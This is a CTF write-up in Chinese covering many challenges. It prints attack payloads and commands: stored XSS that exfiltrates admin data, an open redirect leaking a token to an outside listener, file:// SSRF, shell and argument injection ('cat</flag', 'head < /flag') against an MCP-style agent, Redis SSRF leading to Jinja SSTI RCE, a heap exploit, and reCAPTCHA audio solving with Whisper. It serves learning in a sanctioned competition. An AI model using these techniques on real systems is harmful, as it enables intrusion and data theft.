前言
這場我用 Ianon 單人參賽,總排 50th place / 2884 分,解了 15 題,台灣學生組拿到 第 3 名。Web 題特別有意思。
Welcome
Welcome to No Hack No CTF 2026
題目 hint 就寫「View source」,那就照做。開 DevTools 看頁面載入了什麼,發現有一個請求打到 card.ganl68384.workers.dev,回來的 JS 長這樣:
1 | const ALPHA = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; |
flag 直接是前端產的,根本不用打後端。console 裡呼叫 genFlag() 就有了。
NHNC{ywELECXoMjeh}
Auron
67 login system
nc txg.chal2.teagod.tech 16767,pwn 題。先 checksec:
1 | Arch: amd64-64-little |
PIE + NX,所以要洩漏位址而且不能塞 shellcode。binary 沒有 section header,objdump -d 直接印不出東西,改用 radare2:
1 | r2 -e bin.relocs.apply=true -q -c 'aaa; afl' share/chal |
main 是一個六選項選單。逐個函式看下來,register 的紀錄結構是這樣:
1 | p = malloc(0x48); // 72 bytes |
register 讀 0x40 進 0x40 的欄位,很乾淨。所以溢位一定在別的地方。
show 一次給兩種洩漏:
1 | printf(slots[i]); // (A) username 直接當格式字串 |
update 才是真正的洞:
1 | read(0, slots[i], 0x200); // 讀 512 bytes 進一個 0x48 的紀錄 |
heap overflow,而且 read 不會在 NUL 停,payload 可以隨便含 0。
libc 版本很關鍵。Dockerfile 把 Arch base image 用 digest 釘死了,所以直接把同一個 image 的 libc 撈出來:
1 | docker pull --platform linux/amd64 \ |
1 | GNU C Library (GNU libc) stable release version 2.43 |
glibc 2.43,非常新。經典的「vtable 蓋成任意函式」從 2.24 起就被擋掉了(vtable 必須落在 __libc_IO_vtables 裡),所以走 House of Apple 2:用一個合法的 _IO_wfile_jumps,改走不受驗證的 _wide_data → _wide_vtable → __doallocate。
也順手在本機開一份一模一樣的環境來開發:
1 | docker run -d --platform linux/amd64 --name chal67 \ |
格式字串探針測出 %11$p 是 libc 位址(offset 0x27741)、%15$p 是 PIE。至於 heap,在容器裡用 gdb 校準一次就看清楚了:
1 | slot0 chunk=0x555555559010 FILEptr=0x555555559060 fp-chunk = 0x50 |
FILEptr = chunk + 0x50 是固定的,而 update 從 chunk0 寫 512 bytes 剛好蓋過 chunk0+0x50 那個真 FILE 物件。所以整套假 FILE / 假 wide_data / 假 wide vtable 全部鋪在同一發溢位裡。
觸發點選選單 6 的 exit:exit → _IO_cleanup → _IO_flush_all,會對 _IO_list_all 上的 stream 呼叫 _IO_OVERFLOW。只註冊一個 slot 的話,list 開頭就是我們蓋掉的那個。
完整 exploit:
1 | from pwn import * |
前面那兩個空白是重點:_flags 的低位要讓 _IO_NO_WRITES(0x8)、_IO_UNBUFFERED(0x2)、_IO_CURRENTLY_PUTTING(0x800) 三個 bit 都是 0,而空白是 0x20,剛好全部滿足;shell 又會忽略前導空白,於是 system(" /bin/sh") 就是 shell。
本機先過,再打遠端:
1 | $ python3 exploit.py REMOTE |
NHNC{0x67676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767_sixseven!!!}
Frank
Camel rider
題目叫「Camel rider」,駱駝是 Perl 的吉祥物,jail 大概是 Perl。14514 那個 port 只是 instancer,要拿 CTFd token 換一個 5 分鐘的實例,實例是 nc 的原始 TCP 服務。
連上去 banner 是:
1 | Welcome to Camel Rider! |
先送一堆小程式試探執行模型,一條連線一支程式:
| 送出的程式碼 | 回應 |
|---|---|
print "hello\n"; |
Meow |
print("hi\n") |
Meow |
1; |
(無) |
sleep 3; |
(無) |
asdfqwer !!! |
(無) |
print 1; |
1 |
print 1 印出真的 1,但 print "1" 回 Meow,差別只有原始碼裡有沒有雙引號。所以 Meow 不是輸出被替換,而是原始碼被過濾器擋下來了。
摸黑名單的技巧很簡單:把候選字元塞進註解,送 1;#X。這程式什麼都不做也沒輸出,所以回應空的=字元允許,回 Meow =字元被禁。
1 | 被禁: " ' ` |
只有三個引號類被禁。但 open(F, q(flag.txt)); print <F>; 還是 Meow,所以一定也有關鍵字黑名單,用同樣的 1;#<字詞> 測:
1 | open / read / sysread / system / exec / eval -> 被禁 |
那就兩個問題各自解決。字串沒有引號可以用 q{...};讀檔沒有 open/read 可以用 Perl 的菱形運算子,<> 會逐行讀 @ARGV 裡列的每個檔名,而 @ARGV 是可以直接賦值的:
1 | @ARGV=(q{flag.txt});print<>; |
字元用到 @ ( ) { } < > ; =,沒有引號;關鍵字只有 q、print、ARGV、<>。兩份黑名單都躲過了。
1 | printf '@ARGV=(q{flag.txt});print<>;\n' | nc chal3.teagod.tech 10398 |
NHNC{xf8fnibf9fhiqfwbqubqmoyt6191qv3rU}
fishbaby1011
LemonShelf
小說投稿平台。題目描述已經把答案講一半了:投稿不公開、只有作者跟 admin 看得到、編輯審稿要一點時間。翻譯一下就是「有一個有權限的 bot 會打開你完全掌控的頁面」,標準的 XSS 場景。
註冊完先看自己是誰:
1 | await (await fetch('/api/me')).text(); |
1 | {"id":1363,"username":"lem299","role":"user", |
有 role 有 features,代表存在更高權限的角色。投稿表單有四個欄位,全部塞探測字串進去:
1 | await fetch('/submit', { |
讀回書頁:
1 | 標題:TESTTITLE<b>x</b> -> 有跳脫 |
四個裡面三個乖乖跳脫,就 author_note 是原始 HTML。儲存型 XSS 到手。
外洩通道我沒架 webhook,因為 app 自己就有一條更好用的:留言 API。admin 的 JS 可以把資料 POST 成我自己書上的留言,而留言只有作者(我)看得到,顯示時又會 HTML 跳脫,所以原始 JSON 也能完整帶回來。
第一發先問 admin 是誰:
1 | const payload = `<img src=x onerror="(async()=>{ |
等一下輪詢,留言區冒出一則作者是 admin 的留言:
1 | ME::{"id":1,"username":"admin","role":"editor", |
成功!而且它自己把 /api/editor/config 交出來了。開一本新書,第二發去讀那個 config:
1 | /api/editor/config::{"siteName":"LemonShelf","reviewMode":"enabled", |
secretEndpoint: /api/admin/flag。第三發就直接去拿:
1 | const payload = `<img src=x onerror="(async()=>{ |
留言區出現:
1 | FLAG::NHNC{T3AG0D_1S_13GAND} |
NHNC{T3AG0D_1S_13GAND}
hsuan0223x
Confused Component - Web
題目就明講了:「previewer 把路徑當成資料,loader 卻把它當成別的東西。」
服務有 /api/info、/preview?file=...、/assets/manual.css,還有一個永遠回 401 的 /login。兩個端點都吃路徑段上的 matrix parameter(;handler=...;name=...),但處理方式完全不同。
previewer 只把它當字串:
1 | GET /preview?file=/assets/manual.css;handler=component;name=auth |
靜態檔伺服器就當真了。/api/info 只宣告 preview_handlers: ["static"],代表 component 本來不該從這邊碰到,那就試試:
1 | curl -i 'http://<host>:<port>/assets/manual.css;handler=component;name=auth' |
1 | HTTP/1.0 200 OK |
flag 直接在 X-Web-Flag header 裡,WASM 完全不用碰,那個 CCVM1 section 是下一題 Rev 才要用的東西。
NHNC{p4th_1s_n0t_4lw4ys_4_p4th_fcece1f659814e599f50106c99ea16c5}
Confused Component - Rev
同一個 instance,這次要真的用那顆 WASM。題目給了八條 hint,把 CCVM1 的格式、VM 指令集、canonical JSON、nonce 推導、proof 輸入、bearer token 格式全部定義好了,所以 Rev 的部分其實是「照規格實作一台 VM」。
先拿 metadata:
1 | curl 'http://chal3.teagod.tech:34838/api/info' |
1 | { |
team 跟 server_time 是 nonce 的材料。接著用 Web 題那條路撈 auth.wasm,從裡面找 CCVM1 magic,後面兩個 little-endian u16 就是 constants_len=64、bytecode_len=225。
VM 本身:8 個 uint32 register、256 bytes memory、32-bit wrapping、HALT 回傳 memory 前 32 bytes。nonce 是 sha256(f"{team}:{server_time}")[:16],payload 用 canonical JSON(sort_keys=True、compact separators),VM input 是 sha256(canonical) + nonce + sha256(nonce + canonical + constants[:16])。
整支 solver:
1 | import base64, hashlib, json, struct, urllib.request |
這次 instance 算出來的 nonce 是 ascdBnryYsVy4wyz0roI9A、proof 是 PUOCi00q2wZg5sjZat1bnV2MhyCb6a2MQprhRJxpdGo,token 送到 /admin/flag 回 200:
1 | NHNC{t1ny_vm_b1g_tru5t_2df5ba6c618b4d199a3ab6ac451beb4d} |
flag 尾巴那串就是我的 team id,蠻可愛的。
NHNC{t1ny_vm_b1g_tru5t_2df5ba6c618b4d199a3ab6ac451beb4d}
newbie-crypto
給了 chall.py、output.txt、public.txt。chall.py 用 AES-128-CTR 加密票券,但每次 encrypt() 都是:
1 | AES.new(KEY, AES.MODE_CTR, nonce=NONCE) # NONCE = b"ticket42",固定 |
同一把 key、同一個 nonce、每次都重新建 cipher,counter 從頭開始,所有票券的 keystream 完全一樣。
output.txt 裡五個密文開頭 16 bytes 全部是 c3c8593c1adc1add7df8c32c549f785f,直接證實了:因為每張票的明文開頭都是 {"event":"modern。
public.txt 給了訪客姓名跟座位,票券結構在 chall.py 裡是固定的,所以訪客票券的完整明文可以重建。選名字最長那位(明文 171 bytes,keystream 覆蓋最多),XOR 出 keystream,再拿去 XOR admin 密文:
1 | import json |
1 | {"event":"modern-crypto-101","role":"admin","name":"organizer","seat":"ROOT","note":"priority access granted","flag":"NHNC{c7r_k3y57r34m5_5h0uld_n3v3r_r37urn}"} |
NHNC{c7r_k3y57r34m5_5h0uld_n3v3r_r37urn}
LemonTea
Login_page
給了一個編譯好的 .NET app。flag 不在檔案裡,docker-compose.yml 顯示它是執行期用環境變數注入的,所以得讀懂程式邏輯。反編譯:
1 | dotnet tool install -g ilspycmd |
讀下來發現同一個 process 裡跑了兩個 web server。對外的 5000 port,還有一個:
1 | val3.WebHost.UseUrls("http://127.0.0.1:9000"); |
flag 在 127.0.0.1:9000/flag,外面連不到,只能靠 SSRF。而 SSRF 端點是一條隨機的 /<resourcePath>(14 個 hex 字元),還需要一次性的 capability:
1 | if (!IsLoopbackHost(result.Host)) return BadRequest("only loopback targets allowed"); |
capability 只有 admin-only 的 /admin/hint-token 會產生,45 秒過期、用一次就作廢。但它是一個 base64url 的 JSON,其中 r 欄位就是那條秘密的 resourcePath,所以只要洩漏一個 cap,兩個秘密一次到手。
那誰能鑄造 cap?背景的 AdminBot:
1 | var doc = JSON(await http.GetAsync("http://127.0.0.1:5000/admin/hint-token")); |
bot 把 cap 掛在 URL 上,而跨來源那一跳的 Referer 是前一個完整 URL。所以只要能讓 bot 從題目 origin redirect 到我的機器,cap 就會躺在 Referer 裡。
redirect 從哪來?cookie 驗證設了 LogoutPath = "/logout" 與 ReturnUrlParameter = "ReturnUrl",所以 /logout?ReturnUrl=X 在 Url.IsLocalUrl(X) 為真時會 302 過去。IsLocalUrl 的規則是:以單一 / 開頭,且第二個字元不是 / 或 \。
那塞一個 tab 進去:ReturnUrl=/%09/evil.com。
IsLocalUrl看到第二個字元是 TAB,不是/也不是\→ 判定為本地,放行 302。- bot 拿到
Location: /<TAB>/evil.com/...,那條 regex 把 TAB 刪掉 → 變成//evil.com/...。 - 開頭是
//→ bot 補上 scheme →http://evil.com/...。 - authority 不同 → 走跨來源分支 → 帶著含 cap 的
Referer打我。
伺服器的 IsLocalUrl 跟 bot 的正規化對同一個字串的理解不一致,這就是整個洞。而 /submit 的過濾(開頭單一 /、不以 // 開頭、無 \r \n #)也完全放行這個 payload。
一個細節卡了一下:bot 組回呼 URL 時用的是 curUri.Scheme,而 curUri 是打 http://127.0.0.1:5000/... 的請求,所以 scheme 寫死是 http。只提供 HTTPS 的 tunnel(ngrok HTTP tunnel、trycloudflare.com)收不到這個回呼,得要能給 http://host:port 的原始 TCP tunnel。我用 bore.pub:
1 | ./bore local 8899 --to bore.pub |
exploit:
1 | #!/usr/bin/env python3 |
1 | [*] listener on 0.0.0.0:8899 (bot callback -> http://bore.pub:9325) |
flag 本身就在講「我是靠讀 .NET 原始碼發現這個轉址問題的」,完全對得上。
NHNC{I_F0und_th1s_r3dir3ct_1ssu3_by_r3ading_th3_s0rc3_1n_d0t_N3T_b8a717ed250742f0967f6c074f058437}
Tea-agent
部署檔先看,這題的加固本身就在洩漏解法。Dockerfile 說 flag 在 /flag 且 0444,所以只要能跑一條指令就贏了。docker-compose.yml 是 read-only rootfs、cap_drop: ALL、no-new-privileges、/tmp 掛 noexec,這些防禦只有在「預期解法就是執行程序」時才有意義。image 名稱還直接叫 tea-agent-rce。
.env.example 是決定性的一句:
1 | # The intended exploit path does not require LLM output, |
不需要 LLM 輸出,那就不是 prompt injection,是底層管線。而 sample_configs/benign.json 剛好給了一個很可疑的東西:
1 | { |
設定裡有 command + args 而且程式會去執行它,攻擊面很明顯。
服務不是 HTTP,是純 TCP 的 TUI:
1 | { printf 'hello\n'; sleep 3; } | nc -w 5 localhost 1337 |
1 | ╭─ TEA AGENT ─ local llm api · mcp workspace · terminal ui ─╮ |
送 benign config 看基準行為,發現子程序的 stdout 會被原封不動回顯給我,外洩通道有了。
先排除 mcp_memory 本身是漏洞。--help 只有三個 flag,用 strace 追 openat 發現不管 --topic 塞什麼路徑穿越它都不開任何應用層檔案,餵 stdin 也沒反應。純誘餌。所以問題在 agent 怎麼啟動子程序。
探驗證規則:command 是跟 /app/mcp_memory 做完全字串比對,/app/./mcp_memory、/proc/self/root/app/mcp_memory 全被拒。args 每個必須 -- 開頭,允許英數字加 / . : , - _ ; < > #,禁止空白跟 $ ( ) | & 之類。
但是 ;、<、> 是允許的。這三個都是 shell 特殊字元,強烈暗示子程序是經過 shell 啟動的。用 strace 確認:
1 | docker run -d --name dbg -p 1338:1337 --cap-add SYS_PTRACE \ |
1 | execve("/bin/sh", ["/bin/sh", "-c", "/app/mcp_memory --profile=guest --topic=welcome --once"], ...) |
找到了。command 跟 args 被用空白串成字串再丟 /bin/sh -c。
剩下的問題是「不能有空白」。兩個 shell 技巧解決:; 分隔指令不需要空白,< 是獨立的 token 所以 cmd</flag 等同 cmd < /flag。第一發:
1 | args = ["--topic=x;cat</flag"] |
還有一層 token 黑名單。逐個測:
1 | ;cat< -> 被擋 |
只擋了 cat 跟 sh,flag 也沒擋。在 shell 攻擊面上用黑名單基本上不可能擋乾淨。用 head:
1 | { printf '2\n'; sleep 2; |
串起來就是 /bin/sh -c "/app/mcp_memory --topic=x ; head < /flag":
1 | [agent] MCP stdout: |
NHNC{N0_W4y_Y0u_pwn_m1ne_4gent_Y0r_are_th3_G0d_0f_4gent_S3curity_32000894d8f84282b718215efa300651}
Raymond
Flag Checkers
echo -n "NHNC{...}" | ./flag_checkers 檢查 flag。標準 flag checker,要逆回去。
1 | file flag_checkers |
1 | flag_checkers: ELF 64-bit LSB executable, x86-64, statically linked, stripped |
.text 只有 0x4f6,整段反組譯讀完就好。nx = false 是伏筆,它在意頁面可執行,代表有自我修改程式碼。
1 | objdump -d -M intel --start-address=0x401000 --stop-address=0x4014f6 flag_checkers |
一開頭就一直看到這種東西:
1 | push rax ; push rcx ; pushf |
用到的暫存器全部還原了,什麼狀態都沒改。純垃圾,之後看到就跳過。
真正做事的部分:先 mmap 一塊 0x30000000 的 RWX + MAP_SHARED 記憶體,把 0x402038 起的 11 bytes 各 XOR 0x5a 解到 0x30001000,把 0x402020 起的 6 個 dword 各 XOR 0xa5a5a5a5 解到 0x30000040,然後 fork 兩次。
三個 process 靠 futex 輪流跑同一個狀態機,狀態全在那塊 shared memory:
1 | mainloop: |
看起來很嚇人,但任一時刻只有一個 process 在跑、狀態又全共享,功能上就是一段循序程式。純反除錯,重寫的時候完全可以無視。
「一步」函式的骨架,設 i = [0x30000004]:
1 | rbp = i / 15 ; 區塊編號 |
i 跑 0…254 共 255 步,255 = 17 × 15,所以 17 個區塊 × 15 round,每區塊 8 bytes,總共 136 bytes 輸出。區塊開頭 XOR 前一個密文、結尾把輸出當新的 K,這就是 CBC,IV 是 0x0f1e2d3c4b5a6978。
函式 A 去掉干擾就是標準 Feistel:
1 | new_H = L |
F 是解密到 0x30001000 的那 11 bytes。把 0x402038 的 a5 4e 7f 7a 5a 5a 6a 9b 9a 5a 99 XOR 0x5a 得到 ff 14 25 20 00 00 30 c1 c0 00 c3,反組譯:
1 | call qword ds:0x30000020 ; ff 14 25 20 00 00 30 |
而函式 B 每輪會設定這兩個參數:
1 | edx = (j*7 + 3) % 31 + 1 |
最後跟 0x402480 的 136 bytes 預期密文逐 byte 比對。
Feistel 可逆、CBC 可逆,不用爆破:
1 | import struct |
136 bytes 明文尾巴有 2 個 \x00(flag 只有 134 bytes,程式補零到 136),去掉就是答案。我在 macOS/ARM 上,用 Docker + QEMU 跑真的程式驗證:
1 | echo -n "$FLAG" | docker run --rm -i --platform linux/amd64 -v "$PWD":/w -w /w debian:stable-slim ./flag_checkers |
1 | Correct |
NHNC{2b06cc91a6d35aa24e886394ab574e1c4b4f9eed7ad6d7aca7a3228a39cf318f0a3c523a72263b0995f6417f3b5fd56443d482fbd9b430a578c4038a451028b9}
solarfish
#include
.iption 只有三行,但每一行都在指路:「Yet another PDF converter」、「flag in source code」,題目名稱是 #include。C 的 #include 是把本地檔案包進來,合起來就是「讓伺服器讀自己的原始碼」。
看前端 JS:
1 | const response = await fetch('/convert', { method: 'POST', body }); |
http/https 檢查只在瀏覽器。直接 curl /convert 就能送 file://。
但 captcha 是真的。先確認不能繞:
1 | B=http://txg.chal2.teagod.tech:8722 |
三個都回 captcha verification failed。假 token 會失敗,代表伺服器真的向 Google 驗證。沒有捷徑,只能在真瀏覽器解一次拿 token。
我走語音挑戰,因為互動次數比九宮格少很多。點耳機圖示,對話框裡有「download audio as MP3」的連結,抓下來丟 Whisper:
1 | curl -s -A 'Mozilla/5.0' 'https://www.google.com/recaptcha/api2/payload/audio.mp3?p=...&k=...' -o a.mp3 |
音檔都是很短的英文句子(the system recognizes the error 之類),large-v3 轉得很準,小模型不行。填進去 Verify,然後 grecaptcha.getResponse() 讀 token,兩分鐘內用掉。
第一發不要亂猜檔名,先用一個保證存在的路徑證明 file:// 這個向量本身可行:
1 | curl -s -X POST $B/convert \ |
1 | HTTP 200 size=8213 |
回來的是 PDF 不是錯誤,file:// 可行。這也順便解釋了先前那些 HTTP 500 「conversion failed」,不是協議被擋,是檔案不存在。500 = 路徑錯,不是 500 = 被封。
接著讀 package.json 而不是猜 index.js/app.js,用 /proc/self/cwd/ 就不用知道絕對路徑:
1 | curl -s -X POST $B/convert \ |
1 | { |
入口是 server.js。再解一個 captcha,讀它:
1 | curl -s -X POST $B/convert \ |
檔案最底部一段 ASCII art 註解裡:
1 | // 🌒 .✦ ˚ . . ✦ 🚀 ˚ . |
順便從 server.js 看到根因,蠻好笑的,開發者有想到 file:// 濫用,但只擋目錄:
1 | async function points_to_local_directory(input) { |
讀單一檔案完全放行。
NHNC{Well_done!_stay_tuned_for_the_next_challenge.}
Farewell, #include
上一題的續集。這次要 RCE 執行 /readflag,而且明文禁止 fuzzing 與暴力猜 URL,所以每個路徑都必須有來源。
instancer 要先過 22 bits 的 PoW:
1 | python3 - <<'PY' |
這次首頁多了 converter 選單:standard-pdf / lite-pdf / markdown-pdf。standard-pdf 就是上一題那條讀檔路徑,先拿它撈 package.json 跟 server.js。
server.js 三個重點。第一個是 run_percollate:
1 | const args = ['pdf', '--no-sandbox', '--output', path.resolve(job.output_path), ...urls]; |
urls 是把使用者輸入用空白切開後直接接到 CLI 參數後面,argument injection。
第二個是 run_md_pdf,會把遠端 Markdown 抓下來寫成檔案再交給 mdpdf。
繼續往下讀套件原始碼。/app/lib/percollate/cli.js 的說明列出:
1 | --template=<path> Path to a custom HTML template. |
而 /app/lib/percollate/index.js:
1 | const html = nunjucks.renderString( |
--template=<path> 會被 Nunjucks 在 Node 端渲染。所以只要能把可控檔案寫進伺服器檔案系統就有 SSTI。
那要寫到哪?/app/lib/mdpdf/dist/src/index.js 給了答案:
1 | async function createPdf(html, options) { |
destination 在 /tmp/output/<uuid>.pdf,所以這個暫存檔的路徑是固定的 /tmp/output/_temp.html,只在 Chromium 載入頁面那段時間存在。是 race,但路徑固定所以不用猜。
先驗證整條鏈。payload 裡塞 {{ 7*7 }},再加一張慢速圖片讓 mdpdf 停久一點:
1 | printf '%s' '<h1>race</h1><pre>{{ 7*7 }}</pre><img src="https://httpstat.us/200?sleep=30000">' \ |
1 | curl -s -X POST "$BASE/convert" \ |
1 | race |
49,成功。接著換成真的 RCE。Node v20 的 ESM 環境不能靠 require,用 process.binding('spawn_sync'):
1 | <h1>spawn</h1> |
跑同樣的 race:
1 | spawn |
原來還要參數。把 args 改成 ["/readflag","give","me","the","flag"] 再打一次:
1 | flag |
NHNC{Farewell, my friend, promise me you won’t find another 0days next time._>>6e994b7b30354855b1e8ddc5ffe4cdd6}
UmmIt Kin
Kira-Notes
.iption 很嗆:
1 | Please don't use AI to solve this question |
類別不告訴你。但檔案是 places.sqlite 加上它的 -wal / -shm,places.sqlite 就是 Firefox 的瀏覽紀錄資料庫,所以答案已經寫在檔名上了。
join moz_historyvisits 跟 moz_places 重建時間軸(Firefox 的 visit_date 是微秒):
1 | sqlite3 places.sqlite \ |
一堆 youtube/github 雜訊之後,結尾很有東西:
1 | 2026-07-03 05:56:28 https://proton.me/ |
兩條線索。那個 Proton Drive 分享的標題查出來正是 Kira-Notes,跟題目同名。
先花 30 秒排查那台 web server:Astro 做的靜態「復古 warez」站,下載清單每個檔都標 [offline]/[broken]/[fake],歷史裡的 /wtfbro、/dl/* 全部 404,頁面留的 email 是 slmails.com(SimpleLogin 的轉寄別名,不是收件匣)。幌子,不用管。
Proton 分享(# 後面那段是前端解密金鑰,所以網址本身就完整可用)裡有三個檔案:
| 檔案 | 大小 |
|---|---|
noth*****.png |
1.45 MB |
of.img |
500 MB |
Some Backup 01.png |
125 KB |
500 MB 的磁碟映像,類別到這裡就水落石出了,Forensics。
兩張 PNG 先看:Some Backup 01.png 是那個復古網站的截圖(又是幌子),noth*****.png 是一張撕掉一角的紙條照片,手寫著 0x0Kira…,右邊被撕掉所以不完整。先記著。
of.img 是 GPT(ID=0xee 保護性 MBR)。解析 GPT 拿分割區偏移:
1 | import struct |
1 | part0: first_LBA=2048 byte_offset=1048576 name='primary' |
1 | dd if=of.img of=part0.img bs=512 skip=2048 count=1019904 |
1 | home/ctf/Downloads/I |
檔名連起來是 “I will not let you see it”,全是空的餌檔。但有 orphan inode,代表真東西被刪了。掃一下字串:
1 | strings -n 6 part0.img | grep -iE 'flag|\.zip|\.pdf|\.png' | sort -u |
1 | 2026-07-04_00-57-29.png |
istat 顯示那些 orphan inode 的 size: 0,metadata 被清光了,所以 icat 救不回來。但資料本體還在磁碟上,改用 magic bytes carving:
1 | import re |
三個都救回來了:
carved.zip裡有flag.txt(55 bytes),compress_type 99= WinZip AES-256,要密碼。msg_0.pdf是 Kira 的嘲諷:「You already have everything you need. If you cannot pull it out, then you are not built for this.」,意思是密碼就在救回的檔案裡。img_*.png兩張都顯示同一張紙條,但這次沒被撕掉:完整是0x0Kira1337。
unzip 不支援 AES,用 7z。然後這裡卡了一下,紙條上明明是大寫 K,但那個密碼被拒絕:
1 | for p in '0x0Kira1337' '0x0kira1337' 'OxOKira1337' '0X0Kira1337'; do |
1 | == 0x0Kira1337 == ERROR: Wrong password |
小寫 k 才對。
NHNC{n0w_y0u_kn0w_h0w_t0_f0r3ns1c_0x00000Easyyyyyyyyy}
whale120
Talking to the Sun
Flask 原始碼給了,先找 flag 從哪出來:
1 | def verify_token(token: str) -> dict: |
verify_parts 是教科書級、完全正確的 ECDSA(BrainpoolP512r1)。沒有邏輯漏洞可鑽,所以只能還原私鑰 d。
簽章那邊:
1 | def sign_parts(message, account): |
d 是全域共用的。而 nonce:
1 | NONCE_TAIL_BYTES = 16 |
高 384 bits 對固定帳號字串是固定的,只有低 128 bits 隨機。/api/info 甚至還公開 "nonce_tail_bits": 128。
1 | k = P · 2¹²⁸ + t (P 固定未知 384 bits,0 ≤ t < 2¹²⁸) |
這是標準的 shared-prefix biased nonce,只要湊到幾個共用同一個 P 的簽章就能用 HNP + LLL 還原 d。問題是 app 每個帳號只給一個簽章,而不同帳號字串會有不同的 P。所以整題卡在:能不能讓兩次不同的註冊產生同一個帳號字串下的簽章?
答案在帳號處理:
1 | MAX_ACCOUNT_CHARS = 0x9999 # 39321 |
長度檢查在 .lower() 之前(上限 39321),儲存截斷在 .lower() 之後(65536)。39321 < 65536,所以看起來截斷永遠不會發生……除非 .lower() 會讓字串變長。
而它真的會:
1 | 'İ'.lower() |
而且 regex 的網域部分 .+\..+ 匹配任何字元,İ 可以合法出現在 email 網域裡。
1 | n_i = 32800 |
指紋不同(兩次註冊都會過),stored account 完全相同(同前綴、同 message)。要幾個簽章就有幾個。
數學的部分:s_i·k_i = z + r_i·d 得 k_i = s_i⁻¹z + s_i⁻¹r_i·d (mod n)。因為每個 k_i 都共用 P·2¹²⁸,減掉第 0 個就把大未知數消掉了:
1 | (s_i⁻¹r_i − s_0⁻¹r_0)·d + (s_i⁻¹z − s_0⁻¹z) ≡ (t_i − t_0) (mod n) |
標準 HNP,建格丟 LLL。每次相減洩漏 512 − 128 = 384 bits,5~7 個簽章就夠。
1 | #!/usr/bin/env python3 |
本機先跑,還把還原出的 d 跟本地存的真祕密對過:
1 | python3 -c "import json;print(json.load(open('data/state.json'))['signing_scalar'])" |
一模一樣,代表這攻擊是決定性的不是運氣。
線上有兩個實務上的坑要注意:伺服器是單一 gunicorn worker + SQLite,並行註冊會撞鎖逾時,所以腳本刻意循序跑加重試;而且每次註冊要上傳約 65 KB 的 email,register 跟 login 各跑一次 200k 迭代的 PBKDF2,蒐集 6 個簽章要 60~90 秒。instance 只活 5 分鐘,還好夠。
1 | sig 6/6 |
flag 裡的 “play with python lower” 完全對上。
NHNC{its_always_a_good_time_(to_play_with_python_lower)}
夜有夢
Who is Whois?
這題是整場我最喜歡的一題,四個獨立問題串成一條鏈。
instance 開起來之後,首頁是「Whois Gallery」,三個攻擊面:POST /api/whois(domain=)、GET /render?tpl=,還有頁面明講的「重複查詢可能由 Redis 快取提供」。/render?tpl=about 直接寫出目標:在伺服器上執行根目錄的 /flag。
先戳 render:
1 | for t in index nonexistent ../../etc/passwd flag; do |
1 | template not found: /app/tpl/nonexistent.tpl |
錯誤訊息把路徑洩光了:/app/tpl/<tpl>.tpl。強制加的 .tpl 後綴擋掉直接讀 /flag(Python 沒有 null byte 截斷),但我們知道了應用在 /app。先記著,最後會繞回來。
再戳 whois:
1 | for p in 'example.com;id' 'example.com|id' 'example.com`id`' '$(id)' 'a && /flag'; do |
1 | example.com;id -> blocked by whois input jail: forbidden symbol ';' |
有輸入監獄。但注意 | 那一行,它沒有被當 pipe 執行,而是 whois 收到字面參數。所以根本沒有 shell,是自己組 argv 陣列直接執行的。shell 注入沒戲,但參數注入呢?
1 | curl -s -X POST "$B/api/whois" --data-urlencode 'domain=-h example.com' |
1 | Usage: whois [OPTION]... OBJECT... |
domain 是用空白切開的,每個 token 變成一個 argv。而 -h HOST -p PORT 會讓 whois 對任意主機任意埠開一條原始 TCP 連線,然後把回應原樣印出來,這就是 SSRF。
題目自己提了 Redis。Redis 的 inline protocol 吃純文字行,完美匹配:
1 | curl -s -X POST "$B/api/whois" \ |
1 | +PONG |
成功!Redis 沒密碼,而且回應會回顯給我。現在我有一個互動式 Redis client 了:
1 | curl -s -X POST "$B/api/whois" --data-urlencode 'domain=-h 127.0.0.1 -p 6379 SET pwn hello123' # +OK |
KEYS * 被改名了(硬化),但 SCAN 可用。重點是磁碟設定:
1 | q(){ curl -s -X POST "$B/api/whois" --data-urlencode "domain=-h 127.0.0.1 -p 6379 $1"; } |
Redis 持久化到 /app/db,web 應用從 /app/tpl 讀樣板,共用同一個 /app 檔案系統。快取值是純文字不是 pickle,所以單純投毒沒用;但可以用 Redis 寫一個檔案出來讓樣板渲染器去讀。
我改不了 dir(需要 /,被監獄擋),但可以改檔名:
1 | q 'CONFIG SET dbfilename pwn.tpl' # RDB 會寫到 /app/db/pwn.tpl |
回來的是原始 RDB 二進位,但在我存 {{7*7}} 的那個位置變成 49。SSTI 確認。整個 dump.rdb 都被丟給 Jinja,周圍的二進位原樣印出,只有我的 {{...}} 被求值,沒差。
接著把監獄摸精確:
1 | for ch in "'" '"' '/' '\' '#' '=' '<' '>' '[' ']' '{' '}' '|' '.' '(' ')' '*' ':' '-' '_'; do |
1 | 被禁: ; ` $ & _ ' " / \ # = < > [ ] |
外加字面單字 flag 也被擋。沒引號、沒 _、沒 /、沒中括號、沒 =,這看起來把 SSTI 封死了:不能寫字串、不能打 __class__、不能寫路徑、不能下標。
關鍵領悟是:/render 的 query string 完全不受監獄限制。而 Flask 的 Jinja 樣板拿得到 request:
1 | q 'SET zz {{request.args.a}}'; q 'SAVE' |
所以樣板本體只用監獄允許的字元,每個危險字串都從 URL 偷渡進來,attr filter 再拿來做屬性存取。
在寫完整鏈之前先逐段測,因為這是自訂的 SandboxedEnvironment:
| 嘗試 | 結果 |
|---|---|
builtins.get('__import__') 並呼叫 __import__('os') |
200,回 <module 'os' (frozen)> |
builtins.get('open') / get('eval')(只取用不呼叫) |
200 |
呼叫 open('/flag') |
500 |
os | attr('popen') |
500 |
呼叫 getattr(os,'popen') |
500 |
subprocess.__dict__.get('check_output')(...) 被呼叫 |
200 |
dunder 沒被封(所以能觸及模組內部),__import__ 呼叫沒被封,但 attr filter 跟 open/eval/popen 的呼叫在封鎖清單上。突破口是 module.__dict__.get('name'),走的是普通的 dict.get,完全繞過 Jinja 的 attr 安全檢查。
還剩最後一個問題:check_output 要一個 list,但 [、]、/、引號全被禁。解法是 request.args 是 Werkzeug 的 MultiDict,它的 getlist('fx') 回傳一個真正的 Python list:
1 | request.args | attr('getlist') ('fx') ==> ['/flag'] (URL 帶 ?fx=/flag) |
樣板裡完全沒有中括號、引號或斜線。最終樣板:
1 | {{ (cycler|attr(request.args.a)|attr(request.args.b)|attr(request.args.g)(request.args.bi)|attr(request.args.g)(request.args.imp)(request.args.sp)) |
由左到右讀就是:
1 | subprocess = __import__('subprocess') |
先用 fx=id 驗證:
